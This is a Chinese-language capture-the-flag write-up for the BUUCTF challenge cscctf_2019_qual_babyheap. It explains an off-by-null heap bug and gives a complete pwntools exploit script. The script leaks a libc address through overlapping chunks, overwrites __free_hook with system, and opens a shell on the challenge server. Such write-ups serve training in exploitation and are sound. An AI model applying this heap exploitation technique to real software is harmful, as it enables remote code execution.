buuctf【cscctf_2019_qual_babyheap】
今天找了一道100分题目,题目本身并没有那么难
例行检查
64位的程序,保护机制全开,放到IDA中分析
漏洞分析
函数功能很简单,功能基本齐全,漏洞点在creat()中,
当我们申请堆块,写入内容时,会在最后多写入一个’\x00’字节,存在off by null 溢出,但程序只允许我们申请15个堆块,因此要合理利用堆块。
利用思路
1.通过for循环申请足够多的堆块,在将其释放,构造出unsorted bin
2.堆风水,利用off by null 构造overlap,泄露libc地址
3.在次通过off by null 来劫持free_hook指针,劫持为system
4.free掉’/bin/sh’,get shell
exp:
from pwn import *
elf = ELF('./cscctf_2019_qual_babyheap')
io = remote('node4.buuoj.cn',25675)
#io = process('./cscctf_2019_qual_babyheap')
libc = ELF('./libc-2.27.so')
context.log_level='debug'
def choice(c):
io.recvuntil('>>')
io.sendline(str(c))
def add(index,size,content):
choice(1)
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.send(content)
def show(index):
choice(3)
io.recvuntil(':')
io.sendline(str(index))
def free(index):
choice(2)
io.recvuntil(':')
io.sendline(str(index))
#堆风水
for i in range(7):
add(i,0xf0,'A')
add(7,0xf0,'A')
add(8,0x18,'A')
add(9,0xf0,'A')
add(10,0x28,'A')
#free掉前7个0xf0的堆块,再次free掉0xf0大小的堆块就会进入unsorted bin 中
for i in range(7):
free(i)
free(7)#进入unsorted bin
free(8)
add(8,0x18,'A'*0x10+p64(0x120))#利用 off by null
free(9)#触发向上合并
add(7,0xd0,'A')
add(9,0x10,'A')
show(8)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success(hex(leak))
libc_base = leak-0x3ebca0
success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
success(hex(system))
#劫持free_hook指针
free(7)
free(9)
for i in range(7):
add(i,0xf0,'A')
add(9,0x10,'A')
add(7,0x10,'A')
add(11,0xf0,'A')
#10
add(12,0xf0,'A')
add(13,0x20,'A')
for i in range(7):
free(i)
free(11)
free(10)
add(10,0x28,'A'*0x20+p64(0x130))#同样利用off by null
free(10)
free(12)
add(0,0x90,'A')
add(1,0x70,'A'*0x50+p64(0x100)+p64(0x30)+p64(free_hook))
add(2,0x20,'A')
add(3,0x20,p64(system))#覆写 free_hook 为system
add(4,0xf0,'/bin/sh\x00')
free(4)#触发
#gdb.attach(io)
io.interactive()
喜提flag!!